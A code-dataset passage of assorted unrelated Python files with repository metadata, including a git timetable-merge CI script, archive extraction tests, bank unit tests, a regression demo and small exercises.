new:\n _args += ['-b']\n _args += [branch_name]\n subprocess.call(_args, stdout=open(os.devnull, 'wb'))\n\n def merge(self, branch_to_merge):\n self._logger.info(\"Merging chnges into '%s'\", branch_to_merge)\n subprocess.call(['git', 'merge', branch_to_merge])\n\n def diff(self, branch_name: str) -> str:\n _diff = subprocess.check_output(['git', 'diff', 'master', branch_name,\n '--', self._ttb_file],\n text=True)\n self._logger.info(\"Fetching Diff:\\n %s\", _diff)\n return _diff\n\n def get_conflicts(self, branch_name) -> bool:\n self._logger.info(\"Finding conflicts after attempted merge\")\n with open(self._ttb_file) as F:\n _lines = F.readlines()\n if '<<<<' not in ''.join(_lines):\n self._logger.info(\"No Conflicts Found\")\n return 0, \"**Changes Compatible with master branch**\"\n _sections = []\n _part = []\n _lines_str = []\n for line in _lines:\n if '<<<' in line:\n continue\n elif '====' in line:\n _part.append('\\n'.join(_lines_str))\n _lines_str = []\n elif '>>>' in line:\n _part.append('\\n'.join(_lines_str))\n _sections.append(_part)\n else:\n _lines_str.append(line)\n _out_str = \"**Merge Conflicts Found**\\n\"\n _out_str += tabulate.tabulate(_sections,\n headers = ['master', branch_name],\n tablefmt='github').__str__()+\"\\n\"\n return _out_str\n\n def get_result(self) -> List[str]:\n self._logger.info(\"Retrieving combined TTB file\")\n with open(self._ttb_file) as F:\n return '\\n'.join(F.readlines())\n\n def commit(self, message, include='*.ttb'):\n self._logger.info(\"Committing changes to local repository\")\n subprocess.call(['git', 'add', include],\n stdout=open(os.devnull, 'wb'))\n subprocess.call(['git', 'commit', '-m', message],\n stdout=open(os.devnull, 'wb'))\n\nclass GitTTBMerge(object):\n def __init__(self, ttb_file: str, branch_name: Optional[str] = None,\n do_not_overwrite: Optional[bool] = False):\n self._no_overwrite = do_not_overwrite\n self._repository = git.Repo(os.getcwd())\n if self._repository.head.is_detached:\n self._checkout_temp()\n self._current_branch = branch_name or self._repository.active_branch.name\n if self._current_branch == 'master':\n print(\"Current branch is 'master', no tests will be run\")\n exit(0)\n self._ttb_file = ttb_file\n self._check_latest_commit_automated()\n # self._fetch_master_locally()\n\n def _count_ttb_commits(self, branch_name: Optional[str] = None):\n if branch_name:\n subprocess.call(['git', 'checkout', branch_name])\n count = subprocess.check_output(['git log', '--follow -- ' +\n self._ttb_file],\n text=True, shell=True)\n count = sum('Date: ' in i for i in count.split('\\n'))\n if branch_name:\n subprocess.call(['git', 'checkout', self._current_branch],\n stdout=open(os.devnull, 'wb'))\n return int(count)\n\n def _fetch_master_locally(self, master_branch: Optional[str] = 'master') -> None:\n subprocess.call(['git', 'fetch', 'origin', '{m}:{m}'.format(m=master_branch)])\n\n def _check_latest_commit_automated(self):\n _user = subprocess.check_output([\"git log\", \"-1 --pretty=format:'%an'\"],\n text=True, shell=True)\n if _user == \"Automated Commit: ROS CI\":\n print(\"Latest commit is automated, cancelling run.\")\n exit(0)\n\n\n def _unpack_ttb(self) -> str:\n if not os.path.exists(self._ttb_file):\n raise FileNotFoundError(\"Could not find file '\" +\n self._ttb_file + \"' on branch '\" +\n self._current_branch + \"'.\")\n\n with open(self._ttb_file) as f:\n _line = f.readlines()[0]\n\n _lines = '\\n'.join([f'{i}NULL' for i in _line.split('\\x00')])\n\n return '\\n'.join([f'{i}COMMA' for i in _lines.split(',')])\n\n def _get_source_node_commit(self,\n master_branch: Optional[str] = 'master') -> str:\n _commit_id = subprocess.check_output(['git',\n 'merge-base',\n master_branch,\n self._current_branch], text=True\n )\n return _commit_id.replace('\\n', '')\n\n def _checkout_commit_to_branch(self,\n commit_sha_id: str,\n branch_name: Optional[str] = 'temp_branch'\n ) -> None:\n print(\"Checking out diverging point commit with id: \" +\n commit_sha_id)\n self._repository.git.checkout(commit_sha_id, b=branch_name)\n subprocess.call(['git', 'checkout', self._current_branch],\n stdout=open(os.devnull, 'wb'))\n\n def _get_version(self, branch_name: Optional[str] = None) -> List[str]:\n if branch_name:\n subprocess.call(['git', 'checkout', branch_name],\n stdout=open(os.devnull, 'wb'))\n _version = self._unpack_ttb()\n if branch_name:\n subprocess.call(['git', 'checkout', self._current_branch],\n stdout=open(os.devnull, 'wb'))\n return _version\n\n def _rebuild(self, output_str: str) -> str:\n output_str = output_str.replace('NULL', '\\x00').replace('COMMA', ',')\n return output_str.replace('\\n','')\n\n def attempt_merge(self):\n self._checkout_commit_to_branch(self._get_source_node_commit())\n\n # Need to handle case where there is no timetable on master yet!\n try:\n master = self._get_version('master')\n except FileNotFoundError:\n print('Timetable not found on master, no merge attempt required')\n sys.exit(0)\n\n _versions = {\n \"master\": master,\n \"dev\": self._get_version(),\n \"fork\": self._get_version('temp_branch')\n }\n\n _return_status = 0\n\n with GitRepo() as g:\n with open('temp.ttb', 'w') as f:\n f.write(_versions['fork'])\n\n g.commit('Initial version before divergence')\n\n g.switch_branch('dev', new=True)\n\n with open('temp.ttb', 'w') as f:\n f.write(_versions['dev'])\n\n g.commit('Development updates applied')\n\n g.switch_branch('master')\n\n with open('temp.ttb', 'w') as f:\n f.write(_versions['master'])\n\n g.commit('Master branch updates applied')\n\n _diff = g.diff(self._current_branch).replace('COMMA', '').replace('NULL','\\n')\n\n g.merge('dev')\n\n _return_status, _result = g.get_conflicts(self._current_branch)\n\n if _return_status == 0:\n _output = g.get_result()[0]\n\n subprocess.call(['git', 'branch', '-D', 'temp_branch'],\n stdout=open(os.devnull, 'wb'))\n\n os.mkdir('mr_check_output')\n with open('mr_check_output/mr-result.md', 'w') as f:\n _result += '\\n\\n**Differences**\\n```diff\\n' + _diff + \"\\n```\\n\\n\"\n f.write(_result)\n\n if _return_status == 0:\n with open(f'merge_test_{self._ttb_file}' if self._no_overwrite else self._ttb_file, 'w') as f:\n f.write(self._rebuild(_output))\n subprocess.call(['git', 'config', 'user.name',\n '\"github-actions\"'])\n subprocess.call(['git', 'config', 'user.email',\n 'github-actions@github.com'])\n subprocess.call(['git', 'add', '-u'], stdout=open(os.devnull, 'wb'))\n subprocess.call(['git', 'commit', '-m',\n '\"Automated Commit: Merge of file ' +\n '\\'{}\\' from branch \\'{}\\'\"'.format(self._ttb_file,\n self._current_branch)])\n subprocess.check_output(['git log', '-1'], shell=True)\n subprocess.call(['git', 'push', 'origin', self._current_branch],\n stdout=open(os.devnull, 'wb'))\n\n sys.exit(_return_status)\n\n\nif __name__ in \"__main__\":\n import argparse\n\n parser = argparse.ArgumentParser()\n\n parser.add_argument('originbranch', help='Current branch name')\n parser.add_argument('--ttb-path', help='Location of ttb files',\n default = '*')\n parser.add_argument('--soft', help='Test merge but do not overwrite',\n action='store_true')\n\n args = parser.parse_args()\n\n _branch = args.originbranch\n _loc = args.ttb_path\n _soft = args.soft\n\n for f in glob.glob(os.path.join(_loc, '*.ttb')):\n print(f\"Processing file '{f}':\")\n GitTTBMerge(f, _branch, _soft).attempt_merge()","repo_name":"Railway-Op-Sim/CI-Development","sub_path":"scripts/git_merge_ttb.py","file_name":"git_merge_ttb.py","file_ext":"py","file_size_in_byte":11296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5701991965","text":"'''.Q.No.9 Write a Python function that checks whether a passed string is palindrome or not\n.Note: A palindrome is a word, phrase, or sequence that reads the same backward as forward,\n'''''' e.g., madam or nurses run.'''\n\n\ndef Palindrome():\n a=(input(\"Enter a string:\"))\n b=a[::-1]\n if a==b:\n print(\"IT is a palindrome\")\n else:\n print(\"It is not a palindrome\")\nPalindrome()","repo_name":"bibekbistey/LabProject","sub_path":"Functions/Nine.py","file_name":"Nine.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3070811378","text":"# # Polynomial Regression - python, sklearn\n# We have a couple options we could use to solve [Polynomial Regression](https://en.wikipedia.org/wiki/Polynomial_regression) using [sklearn](http://scikit-learn.org). Below is one appraoch.\nimport numpy as np\nimport pandas as pd\nfrom sklearn import linear_model\nfrom sklearn.preprocessing import PolynomialFeatures\n\n# ## Generate Data\n# We'll generate sample sample data with known coefficients and randomly generated error. Specifically;\n# $$ y = \\beta_0 + \\sum_i (\\beta_i x_i) + \\epsilon \\thinspace \\thinspace \\thinspace \\thinspace \\thinspace \\forall i \\in {1..3}$$\n# $$ \\beta_0: 4 $$\n# $$ \\beta_1: 6 $$\n# $$ \\beta_2: 2 $$\n# $$ \\beta_3: -1 $$\n\nx1 = np.array([[i,] for i in np.random.uniform(low=-2.0, high=4.0, size=10000)])\npoly = PolynomialFeatures(degree=3)\nX = poly.fit_transform(x1)\nX = np.array([i[1:] for i in X])\ncalc_y = lambda x: 4 + 6*x[0] + 2*x[1] - 1*x[2] + np.random.normal(0,4)\nY = np.apply_along_axis(calc_y, 1, X)\n\n# ## Initialize & Run LinearRegression\n# Notice we dropped our bias column above so we are going to include an intercept fit in our model below.\n\nregr = linear_model.LinearRegression(fit_intercept=True)\nregr.fit(X,Y)\n\ndat = pd.DataFrame(data=np.dstack((np.append(np.array([regr.intercept_, ]), regr.coef_), [4,6,2,-1]))[0])\ndat.columns = ['sklearn_coef', 'true_coef']\ndat\n\n# Plot Original Data Scatter Plot & Predict Function\nx_range = np.array([[i,] for i in linspace(-2.0, 4.0, 100)])\nx_values = np.array([i[1:] for i in poly.fit_transform(x_range)])\nplt.scatter([i[0] for i in X], Y, color='black')\nplt.plot([i[0] for i in x_values], regr.predict(x_values), color='blue',linewidth=3)\n","repo_name":"TobyHFerguson/CDSW-Demos","sub_path":"PolyReg-Demo/poly_reg_sklearn.py","file_name":"poly_reg_sklearn.py","file_ext":"py","file_size_in_byte":1674,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"32222771780","text":"import numpy as np\nfrom lenspyx.utils_hp import synalm\nfrom lenspyx.utils import timer\nfrom lenspyx.tests.helper import cls_unl\nfrom ducc0.sht.experimental import synthesis_general\n\ndef syn_fibo(N:int, lmax:int, nthreads=4):\n \"\"\"Number of points is P = 2N + 1\"\"\"\n npix = 2 * N + 1\n Psi = (1 + np.sqrt(5.))/2\n tim = timer('fibo', False)\n i = np.arange(-N, N+1, dtype=int)\n loc = np.empty((npix, 2), dtype=float)\n loc[:, 0] = np.arcsin(i / (N + 0.5)) + 0.5 * np.pi\n loc[:, 1] = ((2 * np.pi / Psi) * i)%(2 * np.pi)\n del i\n tim.add('%.5f Mpix'%(npix/1e6))\n alm = np.atleast_2d(synalm(cls_unl['tt'][:lmax + 1], lmax, lmax))\n tim.add('synalm lmax %s'%lmax)\n m = synthesis_general(alm=alm, spin=0, lmax=lmax, mmax=lmax, loc=loc, nthreads=nthreads)\n tim.add('spin 0 synthesis_general')\n print(tim)\n return m, alm\n\n\nif __name__ == '__main__':\n m = syn_fibo(10, 10)","repo_name":"carronj/lenspyx","sub_path":"lenspyx/tests/fibonacci.py","file_name":"fibonacci.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"61"} +{"seq_id":"8694267201","text":"from example2jira import *\n\n\nlist = [ {\"file\" : \"contour1\", \n\t \"title\" : \"Simple contouring...\",\n\t \"data\" : [\"z500.grb\"]},\n\t {\"file\" : \"contour2\",\n\t \"title\" : \"Playing with more line options...\",\n\t \"data\" : [\"z500.grb\"]},\n\t {\"file\" : \"contour3\",\n\t \"title\" : \"displaying the grid values..\",\n\t \"data\" : [\"t850.grb\"]},\n\t {\"file\" : \"contour4\",\n\t \"title\" : \"Using multiple contours...\",\n\t \"data\" : [\"t850.grb\"]},\n\t {\"file\" : \"contour5\",\n\t \"title\" : \"Using shading and positional legend...\",\n\t \"data\" : [\"t850.grb\"]}\n\t ]\n\nprepare(\"cont.json\", list, \"Contour examples\")\n\nput(\"cont.json\", \"Contour examples\", \"Contour examples\")\n\n\n\n\n","repo_name":"adanese88/magics","sub_path":"docs/confluence/contour/tojira.py","file_name":"tojira.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"30824039091","text":"from __future__ import absolute_import\n\nimport os.path\nimport os\n\nimport fleure.archive as TT\nimport fleure.globals\nimport fleure.tests.common\nimport fleure.rpmutils\n\ntry:\n import fleure.utils\n _RPM_DB_FOUND = os.path.exists(\"/var/lib/rpm/Packages\")\nexcept ImportError:\n _RPM_DB_FOUND = False\n\n\ndef touch(filepath):\n open(filepath, 'w').write(\"\\n\")\n\n\nclass Test00(fleure.tests.common.TestsWithWorkdir):\n\n def test_10__is_link__symlink(self):\n thisfile = os.path.abspath(__file__)\n symlink = os.path.join(self.workdir, \"symlink\")\n\n os.symlink(thisfile, symlink)\n self.assertTrue(TT._is_link(symlink))\n\n def test_12__is_link__hardlink(self):\n orgfile = \"org.txt\"\n hdlink = \"link.txt\"\n\n with fleure.tests.common.Chdir(self.workdir):\n open(orgfile, 'w').write(\"Hello\\n\")\n os.link(orgfile, hdlink)\n\n hdlink = os.path.join(self.workdir, hdlink)\n orgfile = os.path.join(self.workdir, orgfile)\n\n self.assertTrue(TT._is_link(hdlink))\n # self.assertFalse(TT._is_link(orgfile)) # Cannot distinguish it.\n\n def test_20__is_bad_path(self):\n pass\n\n def test_40_safe_untar(self):\n thisfile = os.path.abspath(__file__)\n otherfile = \"aaa.txt\"\n arcfile = \"test.tar.gz\"\n\n with fleure.tests.common.Chdir(self.workdir):\n fleure.utils.subproc_call(\"ln -s %s .\" % thisfile)\n touch(otherfile)\n fleure.utils.subproc_call(\"tar zcvf %s .\" % arcfile)\n\n destdir = os.path.join(self.workdir, \"out\")\n os.makedirs(destdir)\n\n TT.safe_untar(os.path.join(self.workdir, arcfile), destdir)\n\n filepath = os.path.join(destdir, os.path.basename(thisfile))\n otherpath = os.path.join(destdir, otherfile)\n\n self.assertTrue(os.path.exists(otherpath))\n self.assertTrue(os.path.isfile(otherpath))\n self.assertFalse(os.path.exists(filepath))\n self.assertFalse(os.path.isfile(filepath))\n\n def test_50_safe_unzip(self):\n thisfile = os.path.abspath(__file__)\n otherfile = \"aaa.txt\"\n arcfile = \"test.zip\"\n\n with fleure.tests.common.Chdir(self.workdir):\n fleure.utils.subproc_call(\"ln -s %s .\" % thisfile)\n touch(otherfile)\n fleure.utils.subproc_call(\"zip -ry %s .\" % arcfile)\n\n destdir = os.path.join(self.workdir, \"out\")\n os.makedirs(destdir)\n\n TT.safe_unzip(os.path.join(self.workdir, arcfile), destdir)\n\n filepath = os.path.join(destdir, os.path.basename(thisfile))\n otherpath = os.path.join(destdir, otherfile)\n\n self.assertTrue(os.path.exists(otherpath))\n self.assertTrue(os.path.isfile(otherpath))\n # Note: It looks like zipfile.extrat don't extract symlink as it is.\n # self.assertFalse(os.path.exists(filepath))\n # self.assertFalse(os.path.isfile(filepath))\n self.assertTrue(os.path.exists(filepath))\n\n def test_70_archive_report(self):\n filenames = fleure.globals.REPORT_FILES\n for fname in filenames:\n touch(os.path.join(self.workdir, fname))\n\n output = TT.archive_report(self.workdir, filenames=filenames)\n self.assertTrue(os.path.exists(output))\n\n topdir = os.path.basename(self.workdir)\n paths = sorted(os.path.join(topdir, fn) for fn in filenames)\n\n with TT.zipfile.ZipFile(output) as zipf:\n self.assertEqual(sorted(zipf.namelist()), paths)\n\n\nclass Test10(fleure.tests.common.TestsWithWorkdir):\n\n @fleure.tests.common.skip_if_not(_RPM_DB_FOUND)\n def test_60_extract_rpmdb_archive__targz(self):\n root = os.path.join(self.workdir, \"sysroot\")\n arcfile = os.path.join(self.workdir, \"rpmdb.tar.gz\")\n os.makedirs(root)\n\n cmd_s = \"tar zcvf %s /var/lib/rpm/[A-Z]*\" % arcfile\n fleure.utils.subproc_call(cmd_s)\n\n (root2, errors) = TT.extract_rpmdb_archive(arcfile, root)\n\n self.assertTrue(fleure.rpmutils.check_rpmdb_root(root), errors)\n self.assertTrue(fleure.rpmutils.check_rpmdb_root(root2), errors)\n\n @fleure.tests.common.skip_if_not(_RPM_DB_FOUND)\n def test_62_extract_rpmdb_archive__zip(self):\n root = os.path.join(self.workdir, \"sysroot\")\n arcfile = os.path.join(self.workdir, \"rpmdb.zip\")\n os.makedirs(root)\n\n cmd_s = \"zip %s /var/lib/rpm/[A-Z]*\" % arcfile\n fleure.utils.subproc_call(cmd_s)\n\n (root2, errors) = TT.extract_rpmdb_archive(arcfile, root)\n\n self.assertTrue(fleure.rpmutils.check_rpmdb_root(root), errors)\n self.assertTrue(fleure.rpmutils.check_rpmdb_root(root2), errors)\n\n# vim:sw=4:ts=4:et:\n","repo_name":"ssato/fleure","sub_path":"fleure/tests/archive.py","file_name":"archive.py","file_ext":"py","file_size_in_byte":4658,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"31032430635","text":"import unittest\nfrom bank import Bank\n\n\nclass TestBank(unittest.TestCase):\n def setUp(self):\n self.mbank = Bank(\"mBank Hipoteczny Spółka Akcyjna\")\n self.mbank_account = self.mbank.make_account(1000)\n self.bnp = Bank(\"BNP Paribas Bank Polska Spółka Akcyjna\")\n self.bnp_account = self.bnp.make_account()\n\n def test_init(self):\n with self.assertRaises(ValueError):\n t = Bank(\"test\")\n\n def test_make_account(self):\n acc = self.mbank.make_account()\n self.assertIn(acc.number, self.mbank.accounts.keys())\n with self.assertRaises(ValueError):\n t = self.mbank.make_account(-1)\n\n def test_get_account(self):\n self.assertIs(self.mbank_account, self.mbank.get_account(self.mbank_account.number))\n with self.assertRaises(ValueError):\n self.mbank.get_account(\"test\")\n\n def test_del_account(self):\n self.mbank.del_account(self.mbank_account.number)\n self.assertNotIn(self.mbank_account.number, self.mbank.accounts.keys())\n with self.assertRaises(ValueError):\n self.mbank.del_account(\"test\")\n\n def test_money_in_the_bank(self):\n self.assertEqual(self.mbank.money_in_the_bank(), 1000)\n self.mbank.make_account(9000)\n self.assertEqual(self.mbank.money_in_the_bank(), 10000)\n\n def test_wirdraw_all(self):\n self.mbank.withdraw_all()\n self.assertEqual(self.mbank.money_in_the_bank(), 0)\n\n def test_merge_all(self):\n mbank_money = self.mbank.money_in_the_bank()\n bnp_money = self.bnp.money_in_the_bank()\n self.mbank.merge_all(self.bnp_account)\n self.assertEqual(0, self.mbank.money_in_the_bank())\n self.assertEqual(mbank_money + bnp_money, self.bnp.money_in_the_bank())\n self.bnp.merge_all(self.bnp_account)\n self.assertEqual(mbank_money + bnp_money, self.bnp_account.balance)\n\n def test_move_to(self):\n mbank_balances = [i.balance for i in self.mbank.accounts.values()]\n bnp_banaces = [i.balance for i in self.bnp.accounts.values()]\n balances = mbank_balances + bnp_banaces\n self.mbank.move_to(self.bnp)\n mbank_balances = [i.balance for i in self.mbank.accounts.values()]\n bnp_banaces = [i.balance for i in self.bnp.accounts.values()]\n for i in balances:\n self.assertNotIn(i, mbank_balances)\n self.assertIn(i, bnp_banaces)\n\n def test_generate_iban(self):\n for i in range(20):\n acc = self.mbank.make_account()\n iban = acc.number\n number = int(iban[4:] + \"2521\" + iban[2:4])\n self.assertEqual(1, number % 97)\n bank_number = iban[4:12]\n with open(\"iban.txt\") as f:\n for line in f:\n line = line.strip()\n bank_id, bank_name = line.split(\":\")\n if bank_id == bank_number:\n self.assertEqual(self.mbank.name, bank_name)\n break\n\n\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"WojciechBogobowicz/Unit_Test-Example","sub_path":"bank_test.py","file_name":"bank_test.py","file_ext":"py","file_size_in_byte":3032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32691585042","text":"import pandas as pd\r\narquivo = 'project12/Vendas.xlsx'\r\n#dic = {'produto':['Sapato', 'Calça'],\r\n#'valor':[24.23, 55.20],\r\n#'parcelado/avista':['Sim', 'Não'],\r\n#'valor final': ['24.23 / 2', '55.20']\r\n#}\r\ndados_dtf = pd.read_excel(arquivo)\r\ndescribe = dados_dtf.describe()\r\nprodutos = dados_dtf['ID Loja']\r\nprint(dados_dtf.loc[[dados_dtf['Produto'] == 'Camiseta'], dados_dtf['ID Loja'] == 'Shopping Recife'])\r\n","repo_name":"gabriel-tomas/mini-projects-python","sub_path":"project12/project12.py","file_name":"project12.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17227727305","text":"class Node:\n def __init__(self, data):\n self.data = data\n self.nextNode = None\n\n# this program uses Floy's algorithm for detecting cycle!\n\nclass LinkedList:\n\n def has_cycle(head):\n if (head is None):\n return False\n hare = head;\n rabbit = head.next;\n\n while (rabbit != hare):\n if (rabbit is None or rabbit.next is None):\n return False\n hare = hare.next;\n rabbit = rabbit.next.next;\n return True\n \n","repo_name":"mathewjustin/pylearn","sub_path":"ds-algo/dsalgos/floyds/find_cycle.py","file_name":"find_cycle.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"37129288861","text":"#!/usr/bin/env python3\n# -*- coding:utf-8 -*-\n\nfrom django.http import JsonResponse\nfrom django.contrib.auth.mixins import LoginRequiredMixin\n\n\nclass JsonTemplateResponse(JsonResponse):\n\n def __init__(self, result_status, result, **kwargs):\n data = {\n \"status\": result_status,\n \"result\": result\n }\n super(JsonTemplateResponse, self).__init__(\n data=data, safe=False, **kwargs)\n\n\nclass JsonSuccessResponse(JsonResponse):\n\n def __init__(self):\n data = {\n \"status\": \"ok\"\n }\n super(JsonSuccessResponse, self).__init__(\n data=data, safe=False)\n\n\nclass JsonLoginRequiredMixin(LoginRequiredMixin):\n\n def handle_no_permission(self):\n return JsonTemplateResponse(1001, u\"用户未登录\", status=403)\n","repo_name":"wongxinjie/python-snippets","sub_path":"djangoutils/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":813,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29613140910","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue May 26 16:24:13 2015\n\n@author: Projet\n\"\"\"\n#import numpy as np\n\ndef TXTparser():\n \n \n with open('fakeRun.txt', 'r') as f:\n data = f.readlines()\n \n rank=[]\n #i=0\n for line in data:\n words = line.split(\";\")\n rank.append(int(words[2]))\n #print rank[i]\n #i+=1\n \n #print rank\n \n #autre solution :\n #recupérer tout dans un array \n #data=np.loadtxt('fakerun.txt',delimiter=';')\n \n \n return rank","repo_name":"GaetanAdier/Prjt_M1","sub_path":"code/TXTparser.py","file_name":"TXTparser.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"30232392357","text":"from Parser import Parser\nfrom Operations import Operations\nfrom Display import Display\nimport numpy as np\nimport xarray as xr\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n\nclass Data(object):\n \"\"\"\n this version has no config file and no pandas\n \"\"\"\n def __init__(self, data_file, center_file=None, background_file=None):\n self.data_f = data_file\n if center_file is not None:\n self.center_f = center_file\n if background_file is not None:\n self.backgrd_f = background_file\n\n @staticmethod\n def get_data(p):\n \"\"\"\n Gets data from files using parser object\n No config file\n \"\"\"\n detector_data = np.rot90(np.array(p.xpath_get(\"/SPICErack/Data/Detector/data\")))\n # Uncomment for files with a sample_det_dist and sample_to_flange\n # distance_1 = p.xpath_get(\"/SPICErack/Motor_Positions/sample_det_dist/#text\")\n # distance_2 = p.xpath_get(\"/SPICErack/Header/sample_to_flange/#text\")\n pixel_size_x = p.xpath_get(\"/SPICErack/Header/x_mm_per_pixel/#text\")\n pixel_size_y = p.xpath_get(\"/SPICErack/Header/y_mm_per_pixel/#text\")\n translation = p.xpath_get(\"/SPICErack/Motor_Positions/detector_trans/#text\")\n # detector_wing = p.xpath_get(\"/SPICErack/Data/DetectorWing/data\")\n return (detector_data, pixel_size_x, pixel_size_y, translation)\n\n def setup(self):\n \"\"\"\n sets up the data for the three files\n \"\"\"\n self.p_data = Parser(self.data_f)\n self.data = xr.DataArray(Data.get_data(self.p_data)[0], dims=[\"y\", \"x\"])\n\n p_center = Parser(self.center_f)\n size_x = Data.get_data(p_center)[1]\n size_y = Data.get_data(p_center)[2]\n self.size = (size_x, size_y)\n self.translation = Data.get_data(p_center)[3]\n\n self.center_data = Data.get_data(p_center)[0]\n x_axis_units, y_axis_units = Operations.get_axes_units(\n data_shape=self.data.values.shape,\n pixel_size=[size_y, size_x])\n\n y_axis_units = y_axis_units + self.translation\n self.center_data = xr.DataArray(\n self.center_data,\n coords=[y_axis_units, x_axis_units],\n dims=['y', 'x'])\n self.center = Operations.find_center(self.center_data, self.size,\n self.translation)\n self.data.x.values = self.center_data.x.values\n self.data.y.values = self.center_data.y.values\n\n try:\n p_backgrd = Parser(self.backgrd_f)\n self.backgrd_data = xr.DataArray(Data.get_data(p_backgrd)[0],\n dims=['y', 'x'])\n self.backgrd_data.y.values = self.data.y.values\n self.backgrd_data.x.values = self.data.x.values\n self.subtracted_data = self.data - self.backgrd_data\n except:\n pass\n\n def display(self):\n \"\"\"\n Graphs a plotly/matplotlib line graph of radial profile\n \"\"\"\n p = Parser(self.data_f)\n profile = Operations.integrate(size=(self.size),\n center=(self.center[2], self.center[3]),\n data=self.subtracted_data)\n\n Display.plot1d(com=(self.center[2], self.center[3]),\n difference=self.subtracted_data.values,\n profile=profile,\n pixel_size=(self.size[0], self.size[1]))\n\n def display2d(self):\n \"\"\"\n Graphs a plotly heatmap and/or a matplotlib image of\n the subtracted data.\n If there's no subtracted data, will graph beam center.\n \"\"\"\n pixel_size_x, pixel_size_y = self.size\n try:\n Display.plot2d(data=self.subtracted_data,\n parameters=(self.size[0],\n self.size[1], self.translation),\n center=(self.center[0], self.center[1]))\n except:\n Display.plot2d(data=self.center_data, parameters=(self.size[0],\n self.size[1], self.translation),\n center=self.center)\n\n def solid_angle(self):\n \"\"\"\n Performs solid angle correction\n \"\"\"\n try:\n correct = Operations.solid_angle_correction(\n center=self.center,\n data=self.subtracted_data)\n except:\n correct = Operations.solid_angle_correction(center=self.center,\n data=self.data)\n return correct\n\n @staticmethod\n def sensitivity(p_flood, p_sample, p_dark):\n \"\"\"\n Performs sensitivity correction and graphs results using matplotlib\n \"\"\"\n flood_data = Data.get_data(p_flood)[0]\n flood_data = np.array(Data.get_data(p_flood)[0])\n\n masked_cols = np.arange(105, flood_data.shape[1])\n mask = np.zeros_like(flood_data)\n mask[:, masked_cols] = 1\n\n sample_data = np.array(Data.get_data(p_sample)[0])\n sample_data = np.ma.masked_array(sample_data, mask)\n\n dark = np.array(Data.get_data(p_dark)[0])\n dark = np.ma.masked_array(dark, mask)\n\n sensitivity = np.array(Operations.calculate_sensitivity(flood_data))\n sensitivity = np.ma.masked_array(sensitivity, mask)\n sensitivity = np.log(sensitivity)\n\n new_sample = Operations.correct_for_sensitivity(sample=sample_data,\n flood_data=flood_data,\n dark_current=dark,\n min_sensitivity=0.5,\n max_sensitivity=1.5)\n\n new_sample = np.log(np.array(new_sample))\n new_sample = np.ma.masked_array(new_sample, mask)\n flood_data = np.ma.masked_array(flood_data, mask)\n\n fig = plt.figure(figsize=(20, 15))\n ax1 = fig.add_subplot(221)\n im = ax1.imshow(np.log(flood_data))\n fig.colorbar(im)\n ax1.set_title(\"Flood Data\")\n ax2 = fig.add_subplot(222)\n im2 = ax2.imshow(np.log(sample_data))\n fig.colorbar(im2)\n ax2.set_title(\"Sample Data\")\n ax3 = fig.add_subplot(223)\n im3 = ax3.imshow(sensitivity)\n fig.colorbar(im3)\n ax3.set_title(\"Sensitivity\")\n ax4 = fig.add_subplot(224)\n im4 = ax4.imshow(new_sample)\n ax4.set_title(\"Sensitivity Correction\")\n fig.colorbar(im4)\n plt.figure()\n plt.plot(new_sample.sum(axis=1))\n plt.figure()\n plt.plot(np.log(sample_data).sum(axis=1))\n plt.show()\n\n return new_sample\n\n\ndef main():\n # d = Data(data_file=\"C:/Users/tsy/Documents/GitHub/Data-Grapher-Xarray/Data Examples/BioSANS_exp275_scan0001_0001.xml\",\n # center_file=\"C:/Users/tsy/Documents/GitHub/Data-Grapher-Xarray/Data Examples/BioSANS_exp275_scan0000_0001.xml\")\n # d = Data(data_file=\"C:/Users/tsy/Documents/GitHub/Data-Grapher-Xarray/Data Examples/BioSANS_exp318_scan0229_0001.xml\",\n # center_file=\"C:/Users/tsy/Documents/GitHub/Data-Grapher-Xarray/Data Examples/BioSANS_exp318_scan0229_0001.xml\")\n d = Data(data_file=\"C:/Users/tsy/Documents/GitHub/Data_Grapher/Data Examples/HiResSANS_exp9_scan0030_0001.xml\",\n center_file=\"C:/Users/tsy/Documents/GitHub/Data_Grapher/Data Examples/HiResSANS_exp9_scan0006_0001.xml\",\n background_file=\"C:/Users/tsy/Documents/GitHub/Data_Grapher/Data Examples/HiResSANS_exp9_scan0038_0001.xml\")\n d.setup()\n # d.solid_angle()\n # d.xarray_plot()\n # d.display()\n d.display2d()\n\n p_flood = Parser(\"Data Examples/BioSANS_exp318_scan0008_0001.xml\")\n p_sample = Parser(\"Data Examples/BioSANS_exp318_scan0229_0001.xml\")\n p_dark = Parser(\"Data Examples/BioSANS_exp318_scan0009_0001.xml\")\n # Data.sensitivity(p_flood=p_flood,\n # p_sample = p_sample,\n # p_dark = p_dark)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"tinaswang/Data-Grapher-Xarray","sub_path":"Data.py","file_name":"Data.py","file_ext":"py","file_size_in_byte":8241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9260240574","text":"\r\nfrom depth_first_limited import 